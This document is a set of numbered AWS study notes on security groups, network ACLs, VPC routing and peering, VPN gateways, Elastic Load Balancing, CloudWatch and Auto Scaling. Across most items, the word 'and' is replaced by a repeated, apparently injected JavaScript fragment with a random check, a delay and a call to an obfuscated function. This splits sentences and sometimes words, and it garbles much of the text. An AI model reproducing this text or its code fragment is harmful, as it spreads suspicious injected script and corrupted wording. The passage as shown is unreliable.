  127. VPC Security Groups Control outgoing andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and incoming instance traffic 
  128. Every instance must have at least one security group but can have more.
  129. A security group is default deny; that is, it does not allow any traffic that is not explicitly allowed by a security group rule.
  130. A security group is a stateful firewall; that is, an outgoing message is remembered so that the response is allowed through the security group without an explicit inbound rule being required.
  131. Security groups are applied at the instance level, as opposed to a traditional on-premises firewall that protects at the perimeter.
  132. UserData is stored with the instance andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and is not encrypted, so it is important to not include any secrets such as passwords or keys in the UserData.
  133. Outside of an Amazon VPC (called EC2-Classic), the association of the security, groups cannot be changed after launch.
  134. In order to prevent termination via the AWS Management Console, CLI, or API, termination protection can be enabled for an instance. While enabled, calls to terminate the instance will fail until termination protection is disabled. It does not prevent termination triggered by an OS shutdown commandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and, termination from an Auto Scaling group, or termination of a Spot Instance due to Spot price changes.
  135. Amazon VPC is the networking layer for Amazon Elastic Compute Cloud (Amazon EC2),
  136. Default Amazon VPCs contain one public subnet in every Availability Zone within the region, with a netmask of /20.
  137. Each route table contains a default route called the local route, which enables communication within the Amazon VPC, andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and this route cannot be modified or removed.
  138. An Amazon VPC may have multiple peering connections, andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and peering is a one-to-one relationship between Amazon VPCs, meaning two Amazon VPCs cannot have two peering agreements between them.
  139. SG: You can specify allow rules, but not deny rules. This is an important difference between security groups andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and ACLs.
  140. Instances associated with the same security group can’t talk to each other unless you add rules allowing it (with the exception being the default security group).
  141. You can change the security groups with which an instance is associated after launch, andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and the changes will take effect immediately.
  142. A network access control list (ACL) is another layer of security that acts as a stateless firewall on a subnet level.
  143. A network ACL is a numbered list of rules that AWS evaluates in order, starting with the lowest numbered rule
  144. Every subnet must be associated with a network ACL.
  145. For common use cases, AWS recommends that you use a NAT gateway instead of a NAT instance.
  146. The VPG is the AWS end of the VPN tunnel. The CGW is a hardware or software application on the customer’s side of the VPN tunnel.
  147. You must initiate the VPN tunnel from the CGW to the VPG.
  148. A public subnet is one in which the associated route table directs the subnet’s traffic to the Amazon VPC’s IGW.
  149. A private subnet is one in which the associated route table does not direct the subnet’s traffic to the Amazon VPC’s IGW.
  150. A VPN-only subnet is one in which the associated route table directs the subnet’s traffic to the Amazon VPC’s VPG andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and does not have a route to the IGW.
  151. An IGW provides a target in your Amazon VPC route tables for Internet-routable traffic, andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and it performs network address translation for instances that have been assigned public IP addresses.
  152. In order for you to assign your own domain name to your instances, you create a custom DHCP option set andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and assign it to your Amazon VPC.
  153. An Amazon VPC endpoint enables you to create a private connection between your Amazon VPC andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and another AWS service without requiring access over the Internet or through a NAT instance, VPN connection, or AWS Direct Connect. Endpoints support services within the region only.
  154. You can create an Amazon VPC peering connection between your own Amazon VPCs or with an Amazon VPC in another AWS account within a single region.
  155. A NAT instance is a customer-managed instance.
  156. A NAT gateway is an AWS-managed service 
  157. Transitive peering is not supported, andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and peering is only available between Amazon VPCs within the same region.
  158. The VPN connection must be initiated from the CGW side, andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and the connection consists of two IPSec tunnels.
  159. Amazon CloudWatch is a service that monitors AWS Cloud resources andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and applications running on AWS. It collects andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and tracks metrics, collects andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and monitors log files, andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and sets alarms. Amazon CloudWatch has a basic level of monitoring for no cost andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and a more detailed level of monitoring for an additional cost.
  160. Elastic Load Balancing supports routing andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and load balancing of Hypertext Transfer Protocol (HTTP), Hypertext Transfer Protocol Secure (HTTPS), Transmission Control Protocol (TCP), andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and Secure Sockets Layer (SSL) traffic to Amazon EC2 instances.
  161. Elastic Load Balancing is a managed service, it scales in andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and out automatically to meet the demandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}ands of increased application traffic andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and is highly available within a region.
  162. Elastic Load Balancing also supports integrated certificate management andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and SSL termination.
  163. Elastic Load Balancing in Amazon VPC supports IPv4 addresses only.
  164. Elastic Load Balancing in EC2-Classic supports both IPv4 andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and IPv6 addresses.
  165. You can use internal load balancers to route traffic to your Amazon EC2 instances in VPCs with private subnets.
  166. In order to use SSL, you must install an SSL certificate on the load balancer that it uses to terminate the connection andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and then decrypt requests from clients before sending requests to the back-end Amazon EC2 instances. You can optionally choose to enable authentication on your back-end instances.
  167. Elastic Load Balancing does not support Server Name Indication (SNI) on your load balancer.
  168. If you want to host multiple websites on a fleet of Amazon EC2 instances behind Elastic Load Balancing with a single SSL certificate, you will need to add a Subject Alternative Name (SAN) for each website to the certificate 
  169. Every load balancer must have one or more listeners configured.
  170. Every listener is configured with a protocol andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and a port (client to load balancer) for a front-end connection andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and a protocol andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and a port for the back-end (load balancer to Amazon EC2 instance) connection.
  171. Elastic Load Balancing supports the following protocols: HTTP HTTPS TCP SSL 
  172. Elastic Load Balancing supports protocols operating at two different Open System Interconnection (OSI) layers. Layer 4 & 7.
  173. Elastic Load Balancing allows you to configure many aspects of the load balancer, including idle connection timeout, cross-zone load balancing, connection draining, proxy protocol, sticky sessions, andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and health checks.
  174. For each request that a client makes through a load balancer, the load balancer maintains two connections. One connection is with the client andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and the other connection is to the back-end instance.
  175. By default, Elastic Load Balancing sets the idle timeout to 60 seconds for both connections.
  176. Keep-alive, when enabled, allows the load balancer to reuse connections to your back-end instance, which reduces CPU utilization.
  177. To ensure that the load balancer is responsible for closing the connections to your back-end instance, make sure that the value you set for the keep-alive time is greater than the idle timeout setting on your load balancer.
  178. You should enable connection draining to ensure that the load balancer stops sending requests to instances that are deregistering or unhealthy, while keeping the existing connections open. This enables the load balancer to complete in-flight requests made to these instances.
  179. Draining timeout between 1 andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and 3,600 seconds (the default is 300 seconds). When the maximum time limit is reached, the load balancer forcibly closes connections to the deregistering instance.
  180. If you enable Proxy Protocol, a human-readable header is added to the request header with connection information such as the source IP address, destination IP address, andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and port numbers. The header is then sent to the back-end instance as part of the request.
  181. Sticky session feature (also known as session affinity) enables the load balancer to bind a user’s session to a specific instance.
  182. Elastic Load Balancing creates a cookie named AWSELB that is used to map the session to the instance.
  183. A health check is a ping, a connection attempt, or a page that is checked periodically.
  184. Amazon CloudWatch supports multiple types of actions such as sending a notification to an Amazon Simple Notification Service (Amazon SNS) topic or executing an Auto Scaling policy.
  185. Amazon CloudWatch supports an Application Programming Interface (API) that allows programs andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and scripts to PUT metrics into Amazon CloudWatch as name-value pairs that can then be used to create events andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and trigger alarms in the same manner as the default Amazon CloudWatch metrics.
  186. A CloudWatch Logs agent is available that provides an automated way to send log data to CloudWatch Logs for Amazon EC2 instances running Amazon Linux or Ubuntu. You can use the Amazon CloudWatch Logs agent installer on an existing Amazon EC2 instance to install andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and configure the CloudWatch Logs agent.
  187. Each AWS account is limited to 5,000 alarms per AWS account, andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and metrics data is retained for two weeks by default.
  188. Auto scaling types
    1. Maintain Current Instance Levels 
    2. Manual Scaling 
    3. Scheduled scaling means that scaling actions are performed automatically as a function of time andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and date.
    4. Dynamic scaling lets you define parameters that control the Auto Scaling process in a scaling policy.
  189. Auto Scaling has several components that need to be configured to work properly: a launch configuration, an Auto Scaling group, andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and an optional scaling policy.
  190. A launch configuration is the template that Auto Scaling uses to create new instances, andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and it is composed of the configuration name, Amazon Machine Image (AMI), Amazon EC2 instance type, security group, andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and instance key pair.
  191. The default limit for launch configurations is 100 per region. If you exceed this limit, the call to create-launch-configuration will fail.
  192. aws autoscaling describe-account-limits. API call to find out a/c limits
  193. Auto Scaling may cause you to reach limits of other services, such as the default number of Amazon EC2 instances you can currently launch within a region, which is 20.
